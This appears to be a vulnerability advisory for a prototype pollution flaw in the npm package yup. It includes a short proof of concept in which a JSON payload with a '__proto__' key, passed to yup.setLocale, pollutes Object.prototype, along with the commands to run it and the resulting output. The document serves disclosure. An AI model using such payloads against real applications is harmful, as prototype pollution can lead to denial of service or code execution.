yup

vulnerability prototype pollution
severity 7.3
language typescript
registry npm

Description

yup is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
let yup = require('yup');
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
yup.setLocale(payload);
console.log({}.polluted)
  1. Execute the following commands in another terminal:
npm i yup # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Yes! Its Polluted

References